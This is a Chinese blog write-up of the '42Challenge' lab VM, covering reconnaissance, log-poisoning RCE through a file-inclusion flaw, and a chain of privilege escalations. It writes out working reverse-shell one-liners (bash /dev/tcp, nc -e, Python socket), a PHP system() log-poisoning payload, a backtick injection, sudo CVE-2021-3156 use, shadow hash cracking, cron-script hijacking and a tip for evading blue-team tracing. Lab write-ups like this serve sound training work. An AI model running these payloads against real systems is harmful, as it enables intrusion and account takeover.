记一次渗透测试提权的学习

42Challenge

0x0 信息收集

因为用的是虚拟机搭建的环境,所以虚拟机之间同处于一个网段下,使用ifconfig查看攻击机的ip

ali@kali:~/Desktop$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.146.130  netmask 255.255.255.0  broadcast 192.168.146.255
        inet6 fe80::20c:29ff:fe94:9415  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:94:94:15  txqueuelen 1000  (Ethernet)
        RX packets 79856  bytes 6871705 (6.5 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 228329  bytes 13795357 (13.1 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

使用netdiscover扫描同网段下的所有主机,命令:

netdiscover -r 192.168.146.0/16

   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.146.2   00:50:56:f4:f2:38      1      60  VMware, Inc.                                                                                
 192.168.146.149 00:0c:29:52:f3:b2      1      60  VMware, Inc.                                                                                
 192.168.146.254 00:50:56:fa:b2:dd      1      60  VMware, Inc.   

除去2、254这两个特殊的地址外,发现目标主机的IP地址为192.168.146.149,接下来使用nmap进行信息搜集

namp -sS -sV -A -p- 192.168.146.149
---------------------------------------------------------------------------------------
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 94:8a:b4:a8:28:76:56:ce:49:d6:d5:6c:11:e5:38:dd (RSA)
|   256 8c:f7:82:be:14:11:01:cd:d3:07:3b:87:6b:b7:fd:4c (ECDSA)
|_  256 45:56:fc:1d:10:a9:62:6f:4f:ae:66:36:aa:86:d2:e9 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Ip Pinger
MAC Address: 00:0C:29:52:F3:B2 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Uptime guess: 11.047 days (since Fri Jun 25 03:46:00 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

发现开启了两个端口8022,对应着HTTPSSH服务。浏览网页http://192.168.146.149/,发现只有一个ping功能
在这里插入图片描述

0x1 RCE

尝试命令注入。首先在攻击机监听8888端口:

nc -lvvp 8888

在目标网站输入框中输入

|| /bin/bash  -i > /dev/tcp/192.168.146.130/8888 0<&1 2>&1

发现本地并没有建立起与目标的连接,说明可能命令注入无效,尝试可能的绕过方案,得到的结果均是失败。此时看到URL栏中的log参数猜测可能存在文件包含漏洞。尝试包含 / e t c / p a s s w d \textcolor{orange}{/etc/passwd} /etc/passwd,提示不允许读取该文件,但证明了确实存在任意文件包含。查看网页源码:

<html>
	<head>
		<title>Ip Pinger</title>
	</head>
	<body>
		<h4>Please, type a target ip to make a ping:</h4>
		<form name="get_log" method="post" action="/index.php" >
			<input type="text" name="ip">
   			<input type="submit" name="submit" value="Make a ping"><br>
		</form>
		<script>
			const queryString = window.location.search;
			const urlParams = new URLSearchParams(queryString);
			if (urlParams.get("log"))
			{
				const file = urlParams.get('log')
				if (file.includes('logs/') && file.includes('.log'))
				{
					var correct_logfile = 1;
				} else {
					var correct_logfile = 0;
				}
				if (correct_logfile == 0)
				{
					alert("Sorry, you are not allowed to read this file.");
					window.location.replace("index.php");
				}
			}
		</script>
		</body>
</html>

发现原来log参数的过滤是在js中,直接用bp改包即可。
在这里插入图片描述
在这里插入图片描述

既然如此,就可以用日志染毒的方式进行RCE。首先通过bp的响应包可以看出服务器是Nginx,所以其访问日志默认位置应该是

/var/log/nginx/access.log

错误日志是

/var/log/nginx/error.log

使用curl进行日志染毒:

curl -A "<?=system('nc -nv 192.168.146.130 8888 -e /bin/bash');?>" http://192.168.146.149/index.php

攻击机监听8888端口,并给目标网页的URL中的log参数传入 / v a r / l o g / n g i n x / a c c e s s . l o g \textcolor{orange}{/var/log/nginx/access.log} /var/log/nginx/access.log

在这里插入图片描述

此时成功getshell,但是为了更好的进行交互,我们换用python反弹shell。首先确认了目标机器安装了python,所以直接在当前shell下执行,别忘了也要先监听8888

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.146.130",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

到这里我还不想立即往下做,先看一下index.php源码,想弄懂为啥命令注入会失败,应该怎么注入。

<?php
if(isset($_POST['submit']))
        {
                if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
                        $ip = $_SERVER['HTTP_CLIENT_IP'];
                } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
                        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
                } else {
                        $ip = $_SERVER['REMOTE_ADDR'];
                }
                $tarjet = $_POST['ip'];
                $tarjet = str_replace(array("<?", "?>", ";", "&", "|", "(", ")", "'", "\""), "", $tarjet);
                system("ping " . $tarjet . " -c3 > logs/" . $ip . ".log");
                header("Location: index.php?log=logs/" . $ip . ".log");
        }
?>
<html>
        <head>
                <title>Ip Pinger</title>
        </head>
        <body>
                <h4>Please, type a target ip to make a ping:</h4>
                <form name="get_log" method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>" >
                        <input type="text" name="ip">
                        <input type="submit" name="submit" value="Make a ping"><br>
                </form>
                <script>
                        const queryString = window.location.search;
                        const urlParams = new URLSearchParams(queryString);
                        if (urlParams.get("log"))
                        {
                                const file = urlParams.get('log')
                                if (file.includes('logs/') && file.includes('.log'))
                                {
                                        var correct_logfile = 1;
                                } else {
                                        var correct_logfile = 0;
                                }
                                if (correct_logfile == 0)
                                {
                                        alert("Sorry, you are not allowed to read this file.");
                                        window.location.replace("index.php");
                                }
                        }
                </script>
        <?php
                if (isset($_GET['log']))
                {
                        include ($_GET['log']);
                }
        ?>
        </body>
</html>

看到第12行过滤掉了常见的字符,但是没有过滤掉反引号,所以可以使用反引号进行命令注入:

`nc -e /bin/bash 192.168.146.130 8888`

接下来看看我们当前shell的身份和权限

$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

0x2 提权

权限太低,考虑提权。首先尝试suid提权,执行命令:

$ find / -perm -u=s -type f 2>/dev/null
--------------------------------------------------------------------------
/bin/fusermount
/bin/umount
/bin/su
/bin/mount
/bin/ping
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/Lucas_Access
/usr/bin/traceroute6.iputils
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/arping
/usr/bin/chfn
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
/snap/core20/1026/usr/bin/chfn
/snap/core20/1026/usr/bin/chsh
...

发现找到的这些文件要么不能执行,要么执行的时候又需要口令,对我们的提权没有起到实质性的作用。我在玩这个环境的前不久,正好爆出了CVE-2021-3156,可以拿来这里试试。为了传输文件,我在自己的机器上起一个http服务。

python  -m SimpleHTTPServer 8899

注 意 : w e b 根 目 录 就 是 当 前 终 端 的 目 录 \textcolor{green}{注意:web根目录就是当前终端的目录} web

然后在目标机器上执行wget命令下载攻击机上编译好的POC,然后给POC加上可执行权限,运行POC直接起飞~

$ chmod +x sudo-hax-me-a-sandwich
$ ./sudo-hax-me-a-sandwich
id
-----------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root),33(www-data)
-----------------------------------------------------------
whoami
-----------------------------------------------------------
root

注 意 : 文 件 全 部 传 输 完 毕 之 后 要 立 马 关 闭 攻 击 机 的 h t t p 服 务 , 这 是 为 了 避 免 在 真 实 环 境 下 被 蓝 队 溯 源 反 击 ! 整 个 开 启 的 过 程 也 尽 量 不 要 太 长 , 动 作 迅 速 一 点 , 可 以 避 免 很 多 危 险 。 \textcolor{green}{注意:文件全部传输完毕之后要立马关闭攻击机的http服务,这是为了避免在真实环境下被蓝队溯源反击!整个开启的过程也尽量不要太长,动作迅速一点,可以避免很多危险。} http

但是到这里并不算完,这是该环境的非预期做法。该环境共有6个用户:

$ cat /etc/passwd | grep /bin/bash
-----------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
marvin:x:1000:1000:42 Challenge,,,:/home/marvin:/bin/bash
lucas:x:1001:1001::/home/lucas:/bin/bash
maria:x:1002:1002::/home/maria:/bin/bash
pedro:x:1003:1003::/home/pedro:/bin/bash
laura:x:1004:1004::/home/laura:/bin/bash

预期的做法是依次提权后5个用户,最终到达root权限,所以接下来才是真正的开始。。。

这里可以使用一个提权辅助脚本linpeas.sh。使用之前的方法将该脚本放到目标机器中,然后运行。发现输出的结果非常多,其中有一条信息给我们带来了一丝惊喜:

/var/backups/shadow_backup.bak

这似乎是shadow文件的备份,正常情况下,以我们目前的身份权限是没法读取 / e t c / s h a d o w \textcolor{orange}{/etc/shadow} /etc/shadow文件内容的。既然这个备份文件能够读取,那我们就可以尝试爆破出用户名的登录密码。

首先将目标系统的shadow文件中涉及到用户名和密码加密数据拷贝到攻击机的桌面下,保存为文件shadow,以下是保存的内容

marvin:$6$xVRWEeia$uYlk5.Jgo0A69ykQguBDzY8AeUjvHKwj577rTmn82R6enY9r630TbgRWJmnmoqakgYx0Bg651WOM0cvKdwhaG.:18319:0:99999:7:::
lucas:$6$zBETbEhW$rF/A44Y5NCJATkFfD4Qu4lzebQ/PW5/kPD1WKTzf6/uSt4PtPXESIENWW5xd9PsKGu7k2hCLI9uz7s8HyNHdv.:18318:0:99999:7:::                     
maria:$6$jD/TgaEw$6HAWM6i4NUsMtSUkqx1d60cdQTLJTWIN/9Y5Qmr0pShdkhiZ/M465WwFDUj4HKnuKZuHc53GPNJg01uY/9DPQ0:18318:0:99999:7:::         
root:$6$nGvBJ7Ph$jqHgNPRgfT4/lLkPMXMB0WnD9bmrTXMhjXm2OYmlKTU3G/nn5MVZ93Xi4EwX9TwP.zFwM/CUJ11wxC/whIOdF/:18319:0:99999:7:::  

接下来进行爆破,不建议使用暴力破解,本人没有云服务器,一开始使用暴力破解,CPU 占用 100% 居高不下,太消耗资源了。还是建议生成一个字典,使用字典爆破。随便找个字典生成器就可以了。这一步纯属时间问题,所以我做了个弊,直接看别人的文章,知道密码是marvinthemartian,对应的用户名marvin。如果有字典的话,可以使用如下命令进行爆破:

john --w=字典文件 shadow

现在可以ssh登陆了

ssh marvin@192.168.146.149 
------------------------------------------------------
marvin@192.168.146.149's password: 

                :dMMMMMMMMd:   oMMMMMMMdyMMMMMMMMM
             /mMMMMMMMNh-       oMMMh:   +MMMMMMMMM
         +mMMMMMMMNy-           --      .yMMMMMMMMm
     .+mMMMMMMMNs-                   .oNMMMMMMMd/
 .omMMMMMMMmo.                   -sNMMMMMMMh/     .
MMMMMMMMMMMMMMMMMMMMMMMMMMMm   oMMMMMMMMN      -sN
MMMMMMMMMMMMMMMMMMMMMMMMMMMN   oMMMMMMMMN    -yNMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMN   oMMMMMMMMN  -yNMMMM
yyyyyyyyyyyyyyyyyyNMMMMMMMMN   oMMMMMMMMN:hNMMMMMM
                  mMMMMMMMMN   -ooooooooo+oooooooo
                  mMMMMMMMMN
                  mMMMMMMMMN
                  mMMMMMMMMN

Welcome to the 42Challenge

Last login: Thu Mar 18 15:41:32 2021 from 192.168.146.130
marvin@42Challenge:~$ 

接下来再次递归的使用上面的方法进行提权,首先是UID提权

marvin@42Challenge:~$ find / -perm -u=s -type f 2>/dev/null
-------------------------------------------------------------
/bin/fusermount
/bin/umount
/bin/su
/bin/mount
/bin/ping
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/Lucas_Access
/usr/bin/traceroute6.iputils
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/arping

发现可疑的文件 / u s r / b i n / L u c a s _ A c c e s s \textcolor{orange}{/usr/bin/Lucas\_Access} /usr/bin/Lucas_Access,运行看看

marvin@42Challenge:~$ /usr/bin/Lucas_Access
--------------------------------------------------------------
Welcome to the Lucas access system.

Please, type the password:


em。。。有点东西,将其下载下来

scp marvin@192.168.146.149:/usr/bin/Lucas_Access Lucas_Access

IDA分析,主要代码如下

...
fgets(s, 30, _bss_start);
  s[strlen(s) - 1] = 0;
  if ( strlen(s) > 0x14 || (unsigned int)try((__int64)s) )
    return alert();
  if ( getuid() == 1000 )
  {
    puts("\nWelcome Lucas!, I'm happy to see you again :D\n");
    setreuid(0x3E9u, 0x3E9u);
    setregid(0x3E9u, 0x3E9u);
    system("/bin/bash -i");
  }
...

t r y \textcolor{cornflowerblue}{try} try函数校验通过后就会提升权限,并获得一个shell

__int64 __fastcall try(__int64 a1)
{
  int i; // [rsp+14h] [rbp-Ch]
  char *v3; // [rsp+18h] [rbp-8h]

  v3 = (char *)malloc(0x11uLL);
  v3[17] = 0;
  strcpy(v3, "3dF_s6Pc");
  strcat(v3, "j$mrE_Zz");
  for ( i = 0; *(_BYTE *)(i + a1) && v3[i] && *(_BYTE *)(i + a1) == v3[i]; ++i )
    ;
  return *(unsigned __int8 *)(i + a1) - (unsigned int)(unsigned __int8)v3[i];
}

密码一目了然:3dF_s6Pcj$mrE_Zz,现在我们得到了一个新的shell

Welcome to the Lucas access system.

Please, type the password:
3dF_s6Pcj$mrE_Zz

Welcome Lucas!, I'm happy to see you again :D

lucas@42Challenge:~$ 

递归地调用前面的提权步骤,前面的方法都试过了没有新的发现,现在尝试新的提权方法: s u d o − l \textcolor{orange}{sudo -l} sudol。该指令用来查看当前sudo可用的参数命令。

lucas@42Challenge:~$ sudo -l
-----------------------------------------------------------------------------------------------------------------------
Coincidiendo entradas por defecto para lucas en 42Challenge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

El usuario lucas puede ejecutar los siguientes comandos en 42Challenge:
    (maria) NOPASSWD: /bin/nano

发现有nano编辑器,到这里考察的就是nano的提权方法。使用如下命令:

sudo -u maria /bin/nano

打开nano编辑器以后,按 c t r l + r \textcolor{orange}{ctrl+r} ctrl+r,然后按 c t r l + x \textcolor{orange}{ctrl+x} ctrl+x就能够执行命令了。为了方便控制,再反弹一个shell,这里再介绍一种反弹shell

echo "bash -i >& /dev/tcp/ip/port 0>&1" | bash

这条反弹shell比上面的两个,多了个当前用户的前缀和命令实行失败时的报错信息。这是效果演示:

maria@42Challenge:~$ cat a
-------------------------------------------------
cat a
cat: a: No existe el archivo o el directorio

但是重复上面的 s u d o − l \textcolor{orange}{sudo -l} sudol提权方法时没有输出,猜测是反弹shell的问题,还是不太方便,所以考虑构建免密ssh登陆。操作方法:

  1. 在攻击机中生成公钥
kali@kali:~/Desktop$ ssh-keygen 
---------------------------------------------------------------------------------------
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): /home/kali/.ssh/id_rsa
/home/kali/.ssh/id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:QtbjiWGPyfqjOKKpJLBQb2UlRTiQZEGMbp/ZRc9OWZE kali@kali
The key's randomart image is:
+---[RSA 3072]----+
|   =*+.++   .o   |
|  ..o o+.   E    |
| ..   Booo o     |
| .o. B B.o=      |
|o. .o+*.So       |
|o. .+...  .      |
|o.  .            |
|+... ..          |
|*.......         |
+----[SHA256]-----+
  1. 查看公钥
kali@kali:~/Desktop$ sudo -i
------------------------------------------------------------------------------------------------------------------------------------------------
┏━(Message from Kali developers)
┃
┃ We have kept /usr/bin/python pointing to Python 2 for backwards
┃ compatibility. Learn how to change this and avoid this message:
┃ ⇒ https://www.kali.org/docs/general-use/python3-transition/
┃
┗━(Run “touch ~/.hushlogin” to hide this message)
root@kali:~# cat /home/kali/.ssh/id_rsa.pub 
------------------------------------------------------------------------------------------------------------------------------------------------
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClziUM4oqOt1aLwxYLr8oX+KzExjfsY0NdOmN4ph7O8es0orbhDcvu73/78aAPfbV9rEiOquNKEYcITJ96g+AkHgsJW1OY6LR2s3Lyq8NPIZ/uroAAvC3huH1TluifImiptV03Jqprp4IFv+Ee5Y4zPjZ3wl7xj8FbjJKvqFuOXMfAIk80nj6iDApSK1c1MJYxpZZkva82Jg3tledg/bvs9sIDo7YeV/47o2TvsgFOyV7LTHx2uwX2uuIaWnFmdOJhJERJrQvlDoAGwKSgc+YjC3dLIUJzldiK+B93I3Su8cStyMv6jLGbJBR0ZyXwYRAEdssSl80AR2srUxnd1QdLBOCCb5ti8Yo7y2sG5zTfrXR6SoySdbE04HytOiAjTto6bbWq44BS4E74MDEjWDm9RGS8pER6Fp4w9LY864K+zVMB7mKH2aKaQz4JiHvl6ounefQUdBDc5fNmSN4VGXkKNfZwMHtwNdfMWYhR2vIw4FOV9UmkMAT52eRWMxbgqxE= kali@kali
  1. 在目标机器的maria目录下配置**.ssh**,依次执行如下命令
cd /home/maria
makdir .ssh
cd .ssh
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClziUM4oqOt1aLwxYLr8oX+KzExjfsY0NdOmN4ph7O8es0orbhDcvu73/78aAPfbV9rEiOquNKEYcITJ96g+AkHgsJW1OY6LR2s3Lyq8NPIZ/uroAAvC3huH1TluifImiptV03Jqprp4IFv+Ee5Y4zPjZ3wl7xj8FbjJKvqFuOXMfAIk80nj6iDApSK1c1MJYxpZZkva82Jg3tledg/bvs9sIDo7YeV/47o2TvsgFOyV7LTHx2uwX2uuIaWnFmdOJhJERJrQvlDoAGwKSgc+YjC3dLIUJzldiK+B93I3Su8cStyMv6jLGbJBR0ZyXwYRAEdssSl80AR2srUxnd1QdLBOCCb5ti8Yo7y2sG5zTfrXR6SoySdbE04HytOiAjTto6bbWq44BS4E74MDEjWDm9RGS8pER6Fp4w9LY864K+zVMB7mKH2aKaQz4JiHvl6ounefQUdBDc5fNmSN4VGXkKNfZwMHtwNdfMWYhR2vIw4FOV9UmkMAT52eRWMxbgqxE= kali@kali' > authorized_keys
  1. 在攻击机中使用ssh连接maria用户
kali@kali:~/Desktop$ ssh maria@192.168.146.149

                :dMMMMMMMMd:   oMMMMMMMdyMMMMMMMMM
             /mMMMMMMMNh-       oMMMh:   +MMMMMMMMM
         +mMMMMMMMNy-           --      .yMMMMMMMMm
     .+mMMMMMMMNs-                   .oNMMMMMMMd/
 .omMMMMMMMmo.                   -sNMMMMMMMh/     .
MMMMMMMMMMMMMMMMMMMMMMMMMMMm   oMMMMMMMMN      -sN
MMMMMMMMMMMMMMMMMMMMMMMMMMMN   oMMMMMMMMN    -yNMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMN   oMMMMMMMMN  -yNMMMM
yyyyyyyyyyyyyyyyyyNMMMMMMMMN   oMMMMMMMMN:hNMMMMMM
                  mMMMMMMMMN   -ooooooooo+oooooooo
                  mMMMMMMMMN
                  mMMMMMMMMN
                  mMMMMMMMMN

Welcome to the 42Challenge

Last login: Mon Apr 13 12:48:08 2020 from 192.168.1.91

此时尝试 s u d o   − l \textcolor{orange}{sudo\ -l} sudo lSUID都没有很好的结果(这里的sudo需要密码,而SUID结果和之前的一样),这里应该又是考擦新的提权方式了。尝试计划任务提权,首先查看计划任务

maria@42Challenge:~$ cat /etc/crontab
----------------------------------------------------------------------------------------------------
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
maria@42Challenge:~$ crontab -l
------------------------------------------
no crontab for maria

发现都不可用,使用pspy64看看有什么新发现

./pspy64
--------------------------------------------------------------------------------------------------------------------------
....
2021/07/07 09:31:01 CMD: UID=1004 PID=348    | python /home/laura/Server_Status.py 
2021/07/07 09:31:01 CMD: UID=1003 PID=347    | sh /home/pedro/Reporting_System_Info.sh 
2021/07/07 09:31:01 CMD: UID=1004 PID=345    | /bin/sh -c python /home/laura/Server_Status.py >/dev/null 2>&1 

发现存在laurapedro用户运行的程序,按从小到大的顺序,依次进行提权。第一个是pedro用户,我们看看此时正在运行的脚本文件内容是什么

#!/bin/sh

#Checking system files rights
ls -la /etc/passwd >> /tmp/results.txt
ls -la /etc/shadow >> /tmp/results.txt

echo "" >> /tmp/results.txt

#Checking users last login
last marvin | head -n 1 >> /tmp/results.txt
last lucas | head -n 1 >> /tmp/results.txt
last maria | head -n 1 >> /tmp/results.txt
last pedro | head -n 1 >> /tmp/results.txt
last root | head -n 1 >> /tmp/results.txt

echo "" >> /tmp/results.txt

#Checking users groups
id marvin | cut -d " " -f 3 >> /tmp/results.txt
id lucas | cut -d " " -f 3 >> /tmp/results.txt
id maria | cut -d " " -f 3 >> /tmp/results.txt
id pedro | cut -d " " -f 3 >> /tmp/results.txt
id root | cut -d " " -f 3 >> /tmp/results.txt

#---> Maria needs to create this feature in the future <---
#Sending a Email with the results
sh /home/maria/Send_Reporting_Email.sh 2>/dev/null

#Removing reporting file
rm -rf /tmp/results.txt

这是一个以pedro身份定时运行的脚本文件,如果我们能够修改该文件的内容就可以得到该用户的权限。现在切到 / h o m e / p e d r o \textcolor{orange}{/home/pedro} /home/pedro目录下看看文件的属性

maria@42Challenge:~$ cd /home/pedro
maria@42Challenge:/home/pedro$ ls -al
total 44
drwxr-xr-x  5 pedro pedro 4096 abr 13  2020 .
drwxr-xr-x  7 root  root  4096 feb 29  2020 ..
lrwxrwxrwx  1 root  root     9 mar  5  2020 .bash_history -> /dev/null
-rw-r--r--  1 pedro pedro  220 abr  4  2018 .bash_logout
-rw-r--r--  1 pedro pedro 3771 abr  4  2018 .bashrc
drwx------  2 pedro pedro 4096 feb 29  2020 .cache
-r--------  1 pedro pedro   52 mar  5  2020 flag.txt
drwx------  3 pedro pedro 4096 feb 29  2020 .gnupg
drwxrwxr-x  3 pedro pedro 4096 feb 29  2020 .local
-rw-r--r--  1 pedro pedro  807 abr  4  2018 .profile
-rw-r-----+ 1 pedro pedro  875 feb 29  2020 Reporting_System_Info.sh
-rw-------  1 pedro pedro 1127 mar 14  2020 .viminfo

14行的**+表示Linux ACL的访问控制权限,类似于Windows**系统中权限分配的方式,可以指定用户分配权限。

可以通过getfacl查看该文件的访问控制信息

maria@42Challenge:/home/pedro$ getfacl Reporting_System_Info.sh
# file: Reporting_System_Info.sh
# owner: pedro
# group: pedro
user::rw-
user:maria:r--
group::---
mask::r--
other::---

遗憾的是我们不能直接修改这个脚本文件,但是我们从之前的源码中看到该脚本文件还会调用另一个脚本文件 / h o m e / m a r i a / S e n d _ R e p o r t i n g _ E m a i l . s h \textcolor{orange}{/home/maria/Send\_Reporting\_Email.sh} /home/maria/Send_Reporting_Email.sh,而这个文件我们是可以修改的。所以我们就为早这样的一个文件,在里面放上我们的反弹shell

echo "nc -e /bin/bash 192.168.146.130 8888" > Send_Reporting_Email.sh

注 意 : 这 里 用 b a s h 反 弹 s h e l l 会 失 败 , 具 体 原 因 可 能 是 该 用 户 使 用 的 是 s h , 而 不 是 b a s h 。 \textcolor{green}{注意:这里用bash反弹shell会失败,具体原因可能是该用户使用的是sh,而不是bash。} bashshell使shbash

等待大概10s回弹一个shell过来。现在我们就是pedro的身份了,为了方便,也给pedro弄一个免密登陆ssh。回顾之前进程监听的时候,发现laura也有定时运行的脚本,现在看看

import os
import subprocess

def is_service_running(name):
    with open(os.devnull, 'wb') as hide_output:
        exit_code = subprocess.Popen(['service', name, 'status'], stdout=hide_output, stderr=hide_output).wait()
        return exit_code == 0


if not is_service_running('ssh'):
    print 'SSH: is not running'
else:
    print 'SSH: is running'

if not is_service_running('nginx'):
    print 'Nginx: is not running'
else:
    print 'Nginx: is running'

发现这是一个python2版本的文件,但是该文件本身我们不能修改的,然而我们可以借鉴上个脚本文件的利用思路,我们试试这个python2调用的库能不能修改。首先找os或者subprocess的路径

find / -name subprocess.py 2>/dev/null
-------------------------------------------------------------------
/usr/lib/python3.6/asyncio/subprocess.py
/usr/lib/python3.6/subprocess.py
/usr/lib/python2.7/subprocess.py
/usr/local/lib/python2.7/dist-packages/pip/_internal/utils/subprocess.py

查看文件属性

pedro@42Challenge:~$ ls -al /usr/lib/python2.7/subprocess.py
------------------------------------------------------------------------------
-rw-r--r-- 1 root root 50520 feb 27 16:10 /usr/lib/python2.7/subprocess.py
------------------------------------------------------------------------------
pedro@42Challenge:~$ getfacl /usr/lib/python2.7/subprocess.py
------------------------------------------------------------------------------
getfacl: Eliminando «/» inicial en nombres de ruta absolutos
# file: usr/lib/python2.7/subprocess.py
# owner: root
# group: root
user::rw-
group::r--
other::r--

发现不能修改,这和我的参考文献有很大的出入,然后尝试os也不能修改,这就离谱,还能有什么法子,在线求助万能的网友大佬们!

0x3 引用

https://www.isolves.com/it/aq/hk/2021-03-18/37279.html

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
一次完整的渗透测试流程通常分为以下几个步骤: 1. 阶段一:信息收集 这个阶段是为了获取目标系统的信息,包括IP地址、域名、网络拓扑结构、操作系统、服务、应用程序等等。渗透测试人员可以使用各种工具和技术,如端口扫描、WHOIS查询、DNS枚举、搜索引擎、社交工程等。 2. 阶段二:漏洞扫描与分析 在这个阶段,渗透测试人员会使用各种漏洞扫描工具对目标系统进行扫描,以识别潜在的漏洞和弱点。渗透测试人员还会对扫描结果进行分析和验证,以确定漏洞的可利用性和危害性。 3. 阶段三:攻击与渗透 在这个阶段,渗透测试人员会尝试利用已发现的漏洞和弱点,对目标系统进行攻击和渗透。这可能包括使用已知的攻击工具或编写自定义的攻击代码,以实现目标。 4. 阶段四:提权与维持访问 一旦成功渗透到目标系统,渗透测试人员会尝试提升其权限,以获取更高的访问级别和更敏感的信息。然后,他们会尝试维持对目标系统的访问,以便长期地进行监视和数据收集。 5. 阶段五:清理 在完成渗透测试之后,渗透测试人员会清理所有的痕迹和证据,以避免留下攻击痕迹和可能被发现的证据。这包括删除系统日志、恢复文件时间戳等。 6. 阶段六:报告 在完成渗透测试之后,渗透测试人员会生成一份详细的报告,列出所有发现的漏洞和弱点,以及建议的修补措施。此报告将提供给客户,以便他们能够采取必要的措施来保护其系统。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值